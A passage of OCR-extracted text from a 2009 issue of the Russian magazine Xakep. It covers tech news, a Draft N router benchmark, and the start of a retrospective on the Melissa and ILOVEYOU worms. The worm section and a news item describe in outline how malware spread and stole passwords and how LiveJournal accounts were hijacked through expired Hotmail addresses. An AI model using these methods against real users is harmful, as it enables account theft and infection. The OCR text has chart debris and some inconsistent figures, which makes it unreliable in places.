никогда не будет исчерпана.<br />
Эти ребята и не думают<br />
останавливать свои исследования<br />
и разработки. На этот<br />
раз усилия команды, собранной<br />
из различных университетов<br />
страны, направлены на<br />
создание шлема виртуальной<br />
реальности, который сможет<br />
эмулировать запахи, звуки,<br />
ощущения и поставлять глазам достоверную картинку. Пока девайс<br />
носит характерное название Virtual Cocoon и внешне действительно<br />
весьма смахивает на кокон. Эмулировать реальность планируется<br />
следующим образом. Осязание обеспечат за счет встроенных в шлем<br />
вентиляторов (будут гнать потоки холодного или горячего воздуха) и<br />
увлажнителей. Обоняние — за счет трубок, подсоединенных к специальному<br />
боксу с химикатами и вставляющихся в нос и в рот; а зрение<br />
будет ублажать HD-экран, способный отобразить картинку в 30 раз<br />
ярче или темнее обычного ТВ. Ну и, само собой, завершит начатое объемный,<br />
реалистичный звук. Пока готов только прототип, но разработку<br />
планируется завершить в течение 5 лет. Ученые мужи настолько уверены<br />
в успехе начинания, что уже сейчас называют примерную цену на<br />
чудо-девайс — по их мнению, она составит около 1.500 фунтов.<br />
XÀÊÅÐ 04 /124/ 09<br />
013
PC27<br />
>> meganews<br />
Рекламная пауза<br />
Нашествие ЛЖе-юзеров<br />
Еще один способ превращения<br />
убытков от пиратства в<br />
доходы измыслили специалисты<br />
компании Microsoft.<br />
Недавно глава подразделения<br />
по работе с бизнесом,<br />
Стивен Илоп, сообщил<br />
изданию The Business Insider,<br />
что Microsoft укомплектует<br />
новый Office 14 встроенной<br />
рекламой. За счет нее<br />
планируется получать деньги<br />
даже с пиратских версий<br />
пакета программ. Чем версия<br />
с рекламой будет отличаться<br />
от обычной, платной версии,<br />
пока неизвестно. Неизвестно<br />
также, какого рода рекламу<br />
планируется интегрировать<br />
в Office 14, и каким<br />
образом. Выйдет новинка<br />
не ранее 2010 года, так<br />
что остается лишь ждать<br />
подробностей. Пока же<br />
создается впечатление,<br />
что в Microsoft просто<br />
никогда не слышали о баннерорезках.<br />
Покой пользователей одной из наиболее<br />
популярных в России платформ<br />
для блогинга — LiveJournal оказался<br />
потревожен неизвестными «умниками».<br />
Последние обратили внимание,<br />
что многие ЖЖ-аккаунты зарегистрированы<br />
на просроченные почтовые<br />
адреса Microsoft Hotmail, чем и<br />
воспользовались. Так как ящик Hotmail<br />
после годичного простоя становится<br />
неактивным, злоумышленникам не составило<br />
труда покопаться в LJ, в лежащих<br />
в открытом доступе e-mail адресах,<br />
вычислить аккаунты, не использовавшиеся<br />
больше года, и зарегистрировать<br />
«освободившиеся» ящики заново, уже<br />
на себя. После этого подавалась заявка<br />
на восстановление, и ящик оказывался<br />
в руках хитрецов. Администрация ЖЖ,<br />
заметившая тенденцию, призывает<br />
пользователей проверить валидность<br />
почтовых ящиков и не терять бдительности.<br />
iPod Suffle — теперь говорящий<br />
Банкоматы тоже болеют<br />
В конце марта компания Apple не<br />
только выпустила бета-версию<br />
iPhone OS 3.0, которая доберется<br />
до пользователей уже этим<br />
летом, но и представила обновленный<br />
iPod suffle объемом 4 Гб.<br />
Новинка сразу вызвала немало<br />
споров. Самый маленький iPod<br />
стал еще меньше и полностью<br />
сменил облик, превратившись<br />
в гладкий, строгий брусок, по<br />
совместительству являющийся<br />
самым маленьким плеером в<br />
мире. Вариантов расцветки у<br />
iPod shuffle теперь всего два —<br />
серебристый и черный, безумие<br />
красок на любой вкус осталось в<br />
прошлом. Все кнопки управления<br />
вынесены на встроенный в<br />
наушники пульт ДУ, что является,<br />
пожалуй, самой популярной<br />
темой для нареканий. Дело в<br />
том, что отныне, кроме «родных»<br />
наушников, к iPod shuffle ничего<br />
не подходит. Даже гарнитура<br />
от iPhone — и та будет бесполезна.<br />
Оказалось, что внутри<br />
плееров находится специальный<br />
идентификационный чип,<br />
и производителям аксессуаров<br />
придется либо заключать с<br />
Apple контракт и участвовать<br />
в программе «Made for iPod»,<br />
либо же их устройства просто не<br />
будут работать с новым suffle.<br />
Так что, выбор наушников и<br />
аксессуаров для нового плеера<br />
вряд ли будет велик, а качество<br />
наушников «по умолчанию» у<br />
многих вызывает опасения. Зато<br />
в Apple очень гордятся тем, что<br />
iPod shuffle умеет говорить на 14<br />
языках (русского среди них нет).<br />
Это не шутка — за счет функции<br />
VoiceOver плеер может проговаривать<br />
название треков, имена<br />
исполнителей и заголовки плейлистов,<br />
которые научился поддерживать.<br />
Учитывая странный<br />
ход с наушниками и цветовой<br />
гаммой, это весьма слабое утешение.<br />
Мало кто станет, забавы<br />
ради, покупать говорящий плеер<br />
за $79.<br />
Рано или поздно все случается<br />
в первый раз — зафиксирован<br />
случай заражения троянской<br />
программой непосредственно<br />
самого банкомата, что ранее<br />
считалось слишком хлопотным<br />
делом, на грани невозможного.<br />
Конечно, использовать скиммеры,<br />
скрытые камеры и другие девайсы<br />
гораздо проще, чем внедряться в<br />
закрытую сеть, работающую под<br />
управлением нестандартных,<br />
специализированных ОС. Тем не<br />
менее, работник компании Sophos<br />
Ваня Швайцер решил проверить<br />
слухи, твердившие о зараженных<br />
банкоматах в России. Проверка<br />
базы данных компании ничего не<br />
дала, но Швайцер нашел в ней три<br />
относительно новых файла, которые<br />
вызывали у него подозрение.<br />
Проведя ручную проверку, он не<br />
поверил своим глазам, обнаружив<br />
самый настоящий троян,<br />
«заточенный» под банкоматы<br />
Diebold и их ПО. До конца троянец<br />
еще не расшифрован, но уже<br />
сейчас ясно, что он перехватывал<br />
данные с магнитной полосы карты<br />
и клавиатуры банкомата. Создание<br />
такой софтины явно не обошлось<br />
без программиста, хорошо знающего<br />
ПО Diebold Agilis. Засланный<br />
казачок?<br />
014<br />
XÀÊÅÐ 04 /124/ 09
meganews<br />
Новинки с приставкой Eee<br />
На уже упомянутой выставке<br />
CeBIT был представлен целый<br />
ряд новых моделей и устройств<br />
из серии Eee от компании Asus.<br />
Оригинальный Eee Keyboard<br />
PC, получивший первый приз<br />
на церемонии CeBIT-PreView<br />
Awards, — это функционал полноценного<br />
ПК в обличие клавиатуры<br />
с 5’’ сенсорной панелью. Просто<br />
подключаем Keyboard PC к<br />
любому телевизору или монитору<br />
по беспроводному интерфейсу,<br />
и полноценный вычислительно-развлекательный<br />
комплекс<br />
в нашем распоряжении! Eee PC<br />
T91 — планшетный компьютер с<br />
сенсорным экраном, диагональю<br />
8.9’’. При весе 0.96 кг он способен<br />
работать от одного заряда батареи<br />
в течение 5 часов, оснащен<br />
интерфейсами 802.11b/g/n,<br />
Bluetooth и 3G plus, а также GPS и<br />
ТВ-тюнером. Из других продуктов<br />
семейства Eee были представлены<br />
сенсорный моноблок Eee<br />
Top ET1602, работающий почти<br />
бесшумно; Eee Box PC B206 —<br />
самый компактный в мире ПК<br />
с поддержкой HD; автономный<br />
Skype-видеофон Eee Videophone;<br />
беспроводной игровой манипулятор<br />
Eee Stick и др. Подробнее<br />
почитать о последних достижениях<br />
прогресса можно на официальном<br />
сайте компании.<br />
47% ОПРОШЕННЫХ КОМПАНИЕЙ<br />
ADFUSION АМЕРИКАНЦЕВ ЧИТАЮТ<br />
РЕКЛАМНЫЙ СПАМ, ПРИХОДЯЩИЙ<br />
НА E-MAIL, И ПОКУПАЮТ<br />
РЕКЛАМИРУЕМЫЕ ТОВАРЫ.<br />
XÀÊÅÐ 03 /123/ 09<br />
015
ferrum<br />
ИГОРЬ ФЕДЮКИН<br />
Тест Draft N Wi-Fi роутеров<br />
Nовейшие технологии беспроводной связи<br />
Не так давно мы уже тестировали Draft N роутеры. Но даже за этот<br />
небольшой отрезок времени успело появиться немало интересных<br />
новинок. Мы попытались собрать самые горячие из них и в деталях<br />
исследовать все функциональные и скоростные характеристики.<br />
Отрадно, что все больше моделей WiFi-роутеров<br />
становятся полностью работоспособны в<br />
сетях российских провайдеров. И это касается<br />
не только появления новых моделей у вендоров,<br />
уже уделивших внимание проблеме, — но<br />
и расширения списка таких вендоров. Так, за<br />
последнее время компания TRENDnet доработала<br />
прошивки почти всех своих роутеров.<br />
Теперь они полноценно маршрутизируют два<br />
соединения на WAN-интерфейсе. Напомним,<br />
что необходимость в этом зачастую присутствует<br />
в сетях крупных провайдеров, которые<br />
для авторизации пользователей используют<br />
протоколы PPTP/L2TP или PPPoE. Для<br />
доступа к внутренним ресурсам провайдера<br />
не требуется ничего, кроме настроек TCP/IP.<br />
А вот линк в интернет «появляется» только<br />
после активации VPN-соединения. Многие<br />
роутеры после активации VPN-соединения<br />
«забывают» про внутреннюю сеть провайдера.<br />
К счастью, таких становится все меньше и<br />
меньше.<br />
МЕТОДИКА ТЕСТИРОВАНИЯ<br />
Для максимально объективной оценки скоростных<br />
возможностей роутеров были произведены<br />
следующие замеры:<br />
1. Пропускная способность NAT (скорость<br />
маршрутизации в случае выбора режима<br />
Static IP или Dynamic IP на WAN-интерфейсе).<br />
Как обычно, мы замеряли скорость NAT в трех<br />
направлениях: WANLAN (из интернета к<br />
пользователю или download), LANWAN (от<br />
пользователя в интернет или upload) и FDX (в<br />
обе стороны сразу).<br />
2. Пропускная способность PPTP. Этот протокол<br />
часто используется крупными интернет-провайдерами<br />
для авторизации своих клиентов. В этом<br />
случае на WAN-интерфейсе создается дополнительное<br />
VPN-соединение, которое загружает<br />
CPU роутера, снижая его производительность.<br />
Из всех вариантов (PPPoE, PPTP и L2TP) PPTP<br />
наиболее медленный; таким образом, мы наблюдаем<br />
производительность маршрутизации<br />
устройства в наиболее сложных условиях.<br />
3. Для оценки скорости Wi-Fi мы использовали<br />
адаптеры ASUS WL-100N, D-Link DWA-<br />
645, TRENDnet TEW-624UB. Каждый роутер<br />
тестировался с адаптером того же производителя.<br />
В нашем тесте стационарный компьютер<br />
подключался к роутеру проводом на<br />
скорости 1 Гбит/с. Трафик гонялся между<br />
ним и ноутбуком с WiFi-адаптером. Так мы<br />
получали пиковую скорость беспроводного<br />
соединения. Измерения проводились с<br />
разным удалением ноутбука с адаптером<br />
от точки доступа. В первом случае расстояние<br />
не превышало одного метра, во<br />
втором — точка доступа и ноутбук находились<br />
в разных помещениях, разделенных<br />
капитальной стеной, а удаление составляло<br />
10 метров. Использовалось шифрование<br />
WPA-PSK-TKIP.<br />
016<br />
XÀÊÅÐ 04 /124/ 09
ferrum<br />
ПРОПУСКНАЯ СПОСОБНОСТЬ PPTP СОЕДИНЕНИЯ<br />
Тестирование проводилось<br />
со следующими прошивками:<br />
ASUS WL-500W — 1.9.8.2<br />
ASUS RT-N15 — 1.0.1.7<br />
D-Link DIR-615 — 2.25 B09<br />
D-Link DIR-655 — 1.12 B04<br />
NETGEAR WNDR3300 — 1.0.26<br />
TRENDnet TEW-632BRP — 1.10 B08<br />
TRENDnet TEW-633GR — 1.0.30<br />
TRENDnet TEW-633GR<br />
TRENDnet TEW-632BRP<br />
D-Link DIR-655<br />
D-Link DIR-615<br />
ASUS WL-500W<br />
ASUS RT-N15<br />
000<br />
0 20 40 60 80 100 120<br />
Мбит/с<br />
Гигабитные роутеры D-Link DIR-655 и TRENDnet TEW-633GR уходят в<br />
значительный отрыв<br />
fdx<br />
I w<br />
w I<br />
5700 руб.<br />
5500 руб.<br />
ASUS RT-N15<br />
Технические характеристики:<br />
Интерфейсы: 1xWAN (RJ-45) 10/100/1000 Мбит/сек, 4xLAN (RJ-45)<br />
10/100/1000 Мбит/сек<br />
Беспроводная точка доступа Wi-Fi: IEEE 802.11 b/g + Draft N (до 300<br />
Мбит/сек)<br />
Частотный диапазон: 2,4 - 2,5 ГГц<br />
Безопасность: WEP (до 128 бит), WPA/WPA-PSK, WPA2/WPA2-PSK<br />
(TKIP/AES/TKIP+AES), WPS<br />
Функции роутера: NAT/NAPT, DynDNS, Static Routing, DHCP<br />
Функции файрвола: SPI, Packet Filter, URL Filter, MAC Filter<br />
Дополнительно: WAN Bridging<br />
ASUS WL-500W<br />
Технические характеристики:<br />
Интерфейсы: 1xWAN (RJ-45) 10/100 Мбит/сек, 4xLAN (RJ-45) 10/100<br />
Мбит/сек<br />
Беспроводная точка доступа Wi-Fi: IEEE 802.11 b/g + Draft N (до 270<br />
Мбит/сек)<br />
Частотный диапазон: 2,4 - 2,5 ГГц<br />
Безопасность: WEP (до 128 бит), WPA/WPA-PSK, WPA2/WPA2-PSK<br />
(TKIP/AES/TKIP+AES)<br />
Функции роутера: NAT/NAPT, DynDNS, Static Routing, DHCP<br />
Функции файрвола: SPI, Packet Filter, URL Filter, MAC Filter<br />
Дополнительно: 2 USB 2.0 порта для подключения USB-драйвов,<br />
видеокамер и т.п.<br />
ASUS давно грозился представить новые модели Draft N роутеров и вот,<br />
наконец, мы можем их лицезреть. RT-N15 занимает роль флагмана в<br />
новом семействе маршрутизаторов ASUS. Как и подобает современному<br />
роутеру, все порты модели гигабитные. И если для WAN-интерфейса это<br />
не столь актуально, то в домашней сети однозначно пригодится (особенно<br />
для обладателей скоростных NAS и медиасерверов). Производитель<br />
также обращает внимание на опцию WAN-Bridging, которая будет<br />
полезна, если ты смотришь IPTV через приставку. Функция позволяет<br />
полностью зеркалировать трафик, приходящий с WAN-порта на любой<br />
порт коммутатора. Благодаря этому, можно снизить нагрузку на CPU<br />
роутера, избавив его от необходимости работать в качестве IGMP-proxy.<br />
Полезно и наличие функции WPS, которая призвана облегчить процесс<br />
настройки Wi-Fi неопытным пользователям.<br />
Что касается скорости PPTP, — у ASUS RT-N15 она на том же уровне, что и у<br />
предшественника (ASUS WL-500W) и составляет порядка 20 Мбит/сек.<br />
XÀÊÅÐ 04 /124/ 09<br />
ASUS WL-500W, без сомнений — самый знаменитый Draft N роутер.<br />
Своей славой он обязан предшественнику — роутеру ASUS WL-500GP.<br />
Поскольку все это семейство маршрутизаторов использует в основе<br />
open-source микрокод на базе ОС Linux, энтузиасты создали альтернативную<br />
прошивку. В ней был реализован весь необходимый функционал<br />
для работы в сетях российских провайдеров (в том числе и роутинг двух<br />
WAN-соединений). Так WL-500W стал первым Draft N роутером с необходимым<br />
функционалом. Сегодня почти все эти функции присутствуют<br />
и в фирменной прошивке от ASUS. Из дополнительных возможностей<br />
стоит отметить два USB 2.0 порта, к которым можно подключать флешки,<br />
принтеры и web-камеры.<br />
Не обошлось и без недостатков. Скорость маршрутизации PPTP-соединения<br />
составляет, в лучшем, около 20 Мбит/сек. Использование WL-<br />
500W в качестве NAS также сомнительно в виду низкой скорости, которая<br />
не превышает 2 Мб/сек — и на запись, и на чтение.<br />
017
ferrum<br />
СКОРОСТЬ WI-FI (1М, МАКСИМАЛЬНЫЙ РАЗМЕР ПАКЕТА)<br />
СКОРОСТЬ WI-FI (10М, МАКСИМАЛЬНЫЙ РАЗМЕР ПАКЕТА)<br />
TRENDnet TEW-633GR<br />
TRENDnet TEW-632BRP<br />
ap-pc<br />
fdx<br />
pc-ap<br />
TRENDnet TEW-633GR<br />
TRENDnet TEW-632BRP<br />
ap-pc<br />
fdx<br />
pc-ap<br />
D-Link DIR-655<br />
D-Link DIR-655<br />
D-Link DIR-615<br />
D-Link DIR-615<br />
ASUS WL-500W<br />
ASUS WL-500W<br />
ASUS RT-N15<br />
ASUS RT-N15<br />
000<br />
0 20 40 60 80 100 120<br />
Мбит/с<br />
Наилучшие показатели по скорости Wi-Fi показал роутер D-Link DIR-<br />
655, но неплохо выглядят и TRENDnet TEW-633GR, и модели от ASUS<br />
000<br />
0 10 20 30 40 50 60 70 80<br />
Мбит/с<br />
На удалении 10 метров вперед вырывается ASUS WL-500W, но топовые<br />
модели D-Link и TRENDnet отстают не сильно<br />
D-Link DIR-615<br />
Технические характеристики:<br />
Интерфейсы: 1xWAN (RJ-45) 10/100 Мбит/сек, 4xLAN (RJ-45) 10/100<br />
Мбит/сек<br />
Беспроводная точка доступа Wi-Fi: IEEE 802.11 b/g + Draft N (до 300<br />
Мбит/сек)<br />
Частотный диапазон: 2,4 - 2,5 ГГц<br />
Безопасность: WEP (до 128 бит), WPA/WPA-PSK, WPA2/WPA2-PSK<br />
(TKIP/AES/TKIP+AES), WPS<br />
Функции роутера: NAT/NAPT, DynDNS, DHCP, Traffic Shaping<br />
Функции файрвола: SPI, Packet Filter, URL Filter, MAC Filter, Access<br />
Control<br />
Дополнительно: IPv6 Ready<br />
D-Link DIR-655<br />
Технические характеристики:<br />
Интерфейсы: 1xWAN (RJ-45) 10/100/1000 Мбит/сек, 4xLAN (RJ-45)<br />
10/100/1000 Мбит/сек<br />
Беспроводная точка доступа Wi-Fi: IEEE 802.11 b/g + Draft N (до 300<br />
Мбит/сек)<br />
Частотный диапазон: 2,4 - 2,5 ГГц<br />
Безопасность: WEP (до 128 бит), WPA/WPA-PSK, WPA2/WPA2-PSK<br />
(TKIP/AES), WPS<br />
Функции роутера: NAT/NAPT, DynDNS, DHCP, Static Routing, QoS Engine<br />
Функции файрвола: SPI, URL Filter, IP/MAC Filter, Access Control<br />
Дополнительно: нет<br />
2800 руб.<br />
5100 руб.<br />
Сравнительно новый роутер от компании D-Link, который призван занять<br />
бюджетную нишу Draft N роутеров. Фирменной изюминкой модели<br />
стала поддержка протокольного стека IPv6. Учитывая, что одно из препятствий<br />
на пути с IPv4 на IPv6 — это отсутствие поддержки со стороны<br />
домашнего оборудования, нельзя не похвалить D-Link за проявленную<br />
инициативу! По пропускной способности WAN-интерфейса D-Link<br />
DIR-615 уступает только гигабитным моделям роутеров. Так же, как и у<br />
старшей модели (D-Link DIR-655), тут реализована работа с двумя соединениями<br />
на WAN-интерфейсе — роутер умеет корректно и одновременно<br />
маршрутизировать VPN-соединение и внутреннюю сеть провайдера. А<br />
благодаря наличию функции IGMP Proxy, можно просматривать multicast<br />
IPTV потоки, находясь за роутером.<br />
Один из немногих недостатков роутера — невозможность задать адрес<br />
L2TP-сервера в виде имени.<br />
018<br />
Роутер уже не раз появлялся в наших тестах, поскольку он один из<br />
лучших в своем классе. С момента появления прошивки 1.12WW Build<br />
04 его обладатели получили полноценную работу двух WAN-соединений.<br />
Помимо этого, D-Link DIR-655 показывает отменную производительность.<br />
Пропускная способность в режиме NAT составляет около<br />
250 Мбит/сек, а при использовании протокола PPTP — 90-100 Мбит/<br />
сек. Скорость Wi-Fi у этой модели также хороша. При минимальном<br />
удалении ноутбука от роутера составляет порядка 90 Мбит/сек, а при<br />
расстоянии в 10 метров — 60 Мбит/сек. Безусловно, роутер умеет работать<br />
в качестве IGMP-proxy, так что смотреть multicast-потоки IPTV не<br />
составит никакого труда.<br />
С тестируемой версией прошивки роутер не восстанавливает PPTPсессию<br />
после нескольких повторных дисконнектов. В настройках<br />
L2TP-соединения нет возможности задать адрес сервера в виде<br />
имени.<br />
XÀÊÅÐ 04 /124/ 09
ferrum<br />
СКОРОСТЬ WI-FI (1М, МИНИМАЛЬНЫЙ РАЗМЕР ПАКЕТА)<br />
СКОРОСТЬ WI-FI (10М, МИНИМАЛЬНЫЙ РАЗМЕР ПАКЕТА)<br />
TRENDnet TEW-633GR<br />
TRENDnet TEW-632BRP<br />
ap-pc<br />
fdx<br />
pc-ap<br />
TRENDnet TEW-633GR<br />
TRENDnet TEW-632BRP<br />
ap-pc<br />
fdx<br />
pc-ap<br />
D-Link DIR-655<br />
D-Link DIR-655<br />
D-Link DIR-615<br />
D-Link DIR-615<br />
ASUS WL-500W<br />
ASUS WL-500W<br />
ASUS RT-N15<br />
ASUS RT-N15<br />
000<br />
0 0.2 0.4 0.6 0.8 1 1.2 1.4<br />
Мбит/с<br />
При минимальном размере пакета лидерами вновь являются D-Link<br />
DIR-655 и TRENDnet TEW-633GR, оставляя соперников далеко позади<br />
000<br />
0 0.2 0.4 0.6 0.8 1 1.2 1.4<br />
Мбит/с<br />
И даже увеличение дистанции до 10 метров не меняет ситуацию — вновь<br />
уверенно лидируют D-Link DIR-655 и TRENDnet TEW-633GR<br />
2900 руб.<br />
6000 руб.<br />
TRENDnet TEW-632BRP<br />
Технические характеристики:<br />
Интерфейсы: 1xWAN (RJ-45) 10/100 Мбит/сек, 4xLAN (RJ-45) 10/100<br />
Мбит/сек<br />
Беспроводная точка доступа Wi-Fi: IEEE 802.11 b/g + Draft N (до 300<br />
Мбит/сек)<br />
Частотный диапазон: 2,4 - 2,5 ГГц<br />
Безопасность: WEP (до 128 бит), WPA/WPA-PSK, WPA2/WPA2-PSK<br />
(TKIP/AES), WPS<br />
Функции роутера: NAT/NAPT, DynDNS, DHCP, Static Routing<br />
Функции файрвола: SPI, Packet Filtering, Domain/URL Filtering, MAC<br />
Filtering<br />
Дополнительно: WPS<br />
TRENDnet TEW-633GR<br />
Технические характеристики:<br />
Интерфейсы: 1xWAN (RJ-45) 10/100/1000 Мбит/сек, 4xLAN (RJ-45)<br />
10/100/1000 Мбит/сек<br />
Беспроводная точка доступа Wi-Fi: IEEE 802.11 b/g + Draft N (до 300<br />
Мбит/сек)<br />
Частотный диапазон: 2,4 - 2,5 ГГц<br />
Безопасность: WEP (до 128 бит), WPA/WPA-PSK, WPA2/WPA2-PSK<br />
(TKIP/AES), WPS<br />
Функции роутера: NAT/NAPT, DynDNS, DHCP, Static Routing, Traffic<br />
Shaping<br />
Функции файрвола: SPI, Packet Filtering, Domain/URL Filtering, MAC<br />
Filtering<br />
Дополнительно: StreamEngine, WPS<br />
В продуктовой линейке TRENDnet модель TEW-632BRP занимает роль<br />
бюджетного роутера, а в нашем тесте она выступает главным конкурентом<br />
D-Link DIR-615. Как уже говорилось, компания TRENDnet обновила<br />
прошивку для этого маршрутизатора, реализовав возможность<br />
работы с двумя соединениями на WAN-интерфейсе. Таким образом, не<br />
придется отключаться от интернета, чтобы воспользоваться внутренними<br />
ресурсами провайдера. Роутер неплохо себя показал и в плане<br />
скорости NAT — при одновременной передаче в оба направления<br />
(WANLAN и LANWAN) суммарная пропускная способность перевалила<br />
за 100 Мбит/сек. Наличие функции WPS определенно пригодится<br />
новичкам, избавив от изучения мануала на предмет нюансов<br />
настройки WiFi-сети. Нажал кнопку WPS или ввел PIN-код в окошке<br />
web-браузера — и готово.<br />
Скорость PPTP-соединения подкачала — всего 10 Мбит/сек. Этого<br />
будет достаточна только для обладателей «безлимитных» флэт-рейтов.<br />
TEW-633GR — одна из самых навороченных моделей в линейке Draft N<br />
роутеров TRENDnet. Этот роутер оснащен гигабитным свитчем (включая<br />
WAN-интерфейс) и мощным процессором, который позволяет достигать<br />
рекордной скорости NAT (чуть менее 300 Мбит/сек). Впрочем, пока провайдеры<br />
не подключают пользователей на скорости более 100 Мбит/сек.<br />
А вот гигабитные порты свитча пригодятся для обладателей скоростного<br />
NAS-сервера. Пропускная способность PPTP-соединения — также на<br />
очень высоком уровне. По этому параметру TRENDnet TEW-633GR уступает<br />
лишь D-Link DIR-655. Благодаря функции WPS, настройка WiFi-сети<br />
упрощена до предела и не вызовет проблем даже у новичков.<br />
На момент тестирования не было прошивки, реализующей корректную<br />
работу двух WAN-соединений. Компания TRENDnet обещает выпустить<br />
таковую в самое ближайшее время, так что ждем.<br />
ВЫВОДЫ<br />
Как и на всю импортную продукцию, цены на роутеры в последнее<br />
время заметно поднялись. Наиболее привлекательные<br />
по цене модели, пару-тройку месяцев назад стоившие меньше<br />
2000 рублей, сейчас уже продают за 3000. Но выбор так или<br />
иначе делать приходится. «Лучшую покупку» мы отдаем модели<br />
TRENDnet TEW-632BRP — с точки зрения цена/качество она<br />
выглядит сильнее остальных. «Выбор редакции» достался<br />
D-Link DIR-655, который пока остается лучшим Wi-Fi Draft N<br />
роутером среди всех протестированных нами моделей. z<br />
XÀÊÅÐ 04 /124/ 09<br />
019
pc_zone<br />
Code red<br />
3<br />
СТЕПАН ИЛЬИН<br />
/ STEP@GAMELAND. RU/<br />
Loveletter<br />
2<br />
Nimda<br />
4<br />
Melissa<br />
1<br />
Sasser<br />
6<br />
Slammer<br />
5<br />
J3<br />
ЗЛО-ВИРУСОВ<br />
Storm<br />
9<br />
Mebroot<br />
Warezov<br />
8<br />
10<br />
7<br />
Sony rootkit<br />
САМАЯ НАШУМЕВШАЯ МАЛВАРЬ ЗА ПОСЛЕДНИЕ 10 ЛЕТ<br />
Каждый день — новая зараза. С таким разнообразием всевозможной<br />
живности появление новой малвари просто перестаешь замечать.<br />
И все-таки, были эпидемии, которые не прошли незамечено.<br />
Мы решили вспомнить последние 10 лет и выбрать за каждый год наиболее<br />
запомнившуюся заразу.<br />
020<br />
XÀÊÅÐ 04 /124/ 09
pc_zone<br />
Melissa<br />
Loveletter<br />
ВЕСЬ КОД MELISSA УМЕЩАЕТСЯ В 100 СТРОЧКАХ<br />
А ВОТ ТАК ВЫГЛЯДЕЛО ПИСЬМО ILOVEYOU<br />
1999 2000<br />
Melissa Едва ли программист из<br />
Нью-Джерси задумывался<br />
о том, чтобы собрать ботнет из миллионов<br />
машин и использовать его для рассылки спама.<br />
Вряд ли он мог представить последствия, создавая<br />
своего, казалось бы, безобидного червя<br />
Melissa. Ведь даже распространение тот начинал<br />
не с инета — впервые червь был обнаружен<br />
26 марта в конференции alt.sex внутри Usenet<br />
— в то время еще популярной сети для общения<br />
и обмена файлами. К сообщению был приложен<br />
файл List.DOC, содержащий пароли на 80<br />
порнушных сайтов: позарившись на «клубничку»,<br />
файлик с радостью открыли многие.<br />
А дальше пошло-поехало: червь тут же начал<br />
распространение, отправляя себя по 50 первым<br />
контрактам из записной книжки пользователя.<br />
Это был первый успешный червь, распространяемый<br />
через e-mail.<br />
Loveletter В следующем году —<br />
новая почтовая эпидемия,<br />
вызванная вирусом Love Letter (или Love<br />
Bug). Письма, содержащие незамысловатое<br />
ILOVEYOU в строке темы, посыпались на ничего<br />
не подозревавших пользователей градом.<br />
И все было бы замечательно, если бы к письму<br />
не был приложен скриптик на Visual Basic<br />
Script, замаскированный под текстовый файл.<br />
The Subject: ILOVEYOU<br />
Message body: kindly check the<br />
attached LOVELETTER coming from me.<br />
Attached file: LOVE-LETTER-FOR-<br />
YOU.TXT.vbs<br />
На лицо отличный пример социальной инженерии<br />
и прием двойного расширения, — что<br />
помогло скрыть подлинную природу файла. По<br />
умолчанию Винда не показывала второе, настоящее,<br />
расширение файла, поэтому принять<br />
аттач за обычный текстовик действительно<br />
было проще простого. Ну а коль пользователь<br />
файл запустил, можно делать свое дело.<br />
Написанная с использованием механизма<br />
Windows Scripting Host, малварь честно<br />
рассылает копии тела по всем адресам из<br />
адресной книги почтовой программы MS<br />
Outlook, после чего приступает к деструктивной<br />
части, закачивая и устанавливая в<br />
системе троя. Путь до исполняемого файла<br />
прописывался как домашняя страница<br />
в параметрах Internet Explorer. Это обеспечивало<br />
его автоматическую загрузку, а<br />
запуск в системе гарантировал специально<br />
созданный ключ в реестре. Далее домашняя<br />
страница возвращалась на свое место — и<br />
ушастый пользователь даже не замечал изменений.<br />
Тем временем, WIN-BUGSFIX.EXE<br />
или Microsoftv25.exe честно отправлял автору<br />
отснифанные пароли.<br />
Трик с использованием двойного расширения<br />
автор заюзал не только в письмах. Для файлов<br />
целого ряда расширений, червь создавал<br />
свои копии, добавляя к их названию расширение<br />
.vbs. Если в папке был файл rulez.mp3, то<br />
тут же создавался rulez.mp3.vbs с телом червя<br />
— и так повсюду.<br />
Когда Melissa открывает зараженный документ<br />
MS Word 97/2000, запускается специальный<br />
макрос, который рассылает копии червя в<br />
сообщениях электронной почты при помощи<br />
обычного Outlook’а. Для этого червь юзает возможность<br />
Visual Basic активизировать другие<br />
приложения MS Windows и использовать их<br />
процедуры. Вирус вызывает MS Outlook, считывает<br />
из адресной книги первые 50 email’ов<br />
и посылает по этим адресам сообщения.<br />
Написав в мессаге текст аля «Вот документ, о<br />
котором ты меня спрашивал», червь приаттачивал<br />
к письму текущий открытый документ<br />
пользователя, предварительно заражая его.<br />
Последнее, кстати, повлекло за собой массу<br />
курьезных ситуаций и, в ряде случаев — утечки<br />
конфиденциальной информации.<br />
В 1999 году пользователи даже не задумывались<br />
о том, что в аттаче от известного им адресата<br />
может быть какая-то зараза, и активно<br />
открывали вложения.<br />
Стремительное распространение вируса<br />
серьезно нагрузило почтовые серверы — им<br />
пришлось обрабатывать на несколько порядков<br />
больше отправлений, чем обычно. Тысячи<br />
машин по всему миру не выдержали нагрузки<br />
и вышли из строя. К 27 марта распространение<br />
вируса приняло характер эпидемии; 29 марта<br />
он проник уже на компьютеры всех стран<br />
мира, подключенных к Сети, в том числе и на<br />
российские.<br />
Найденному силами ФБР Девиду Смиту,<br />
который и написал те три десятка строк кода на<br />
VB, грозили 10 лет тюрьмы, но парень «легко<br />
отделался», получив 20 месяцев заключения<br />
и штраф в $5000. Однако исходники червя<br />
еще долго мусолили хакеры, плодя различные<br />
модификации Melissa.<br />
В основе другого способа распространения,<br />
который так же давал плоды, лежали скрипты<br />
для mIRC — самой распространенной<br />
программы для бешено популярных тогда<br />
IRC-чатов. Пользователям чата автоматически<br />
передавалась HTML-ка, предлагающая<br />
закачать некий ActiveX-элемент. Что находилось<br />
внутри, объяснять не надо, но поверь на<br />
слово: посмотреть, что прислал им хороший<br />
приятель, соглашались очень многие.<br />
Первый случай активности Love Letter был зафиксирован<br />
4 мая 2000 г., а уже через сутки им<br />
были частично или полностью поражены сети<br />
ЦРУ, NASA, Министерства энергетики, конгресса<br />
США, Пентагона, британской палаты<br />
общин и еще множества организаций. Ущерб,<br />
нанесенный червем в первые дни активности,<br />
был оценен в $5 миллионов. Офигительно?<br />
Виновника этого безобразия помог найти оставленный<br />
им автограф: «barok -loveletter(vbe)<br />
< i hate go to school > by: spyder / ispyder@mail.<br />
com / Manila,Philippines». Но в виду отсутствия<br />
местных законов за подобные преступления,<br />
никакой ответственности он не понес.<br />
XÀÊÅÐ 04 /124/ 09<br />
021
pc_zone<br />
CODE RED ДЕФЕЙСИЛ СИСТЕМЫ С АНГЛИЙСКОЙ ЛОКАЛЬЮ<br />
СЕТЕВАЯ АКТИВНОСТЬ SLAMMER’А<br />
Code Red<br />
Slammer<br />
2001<br />
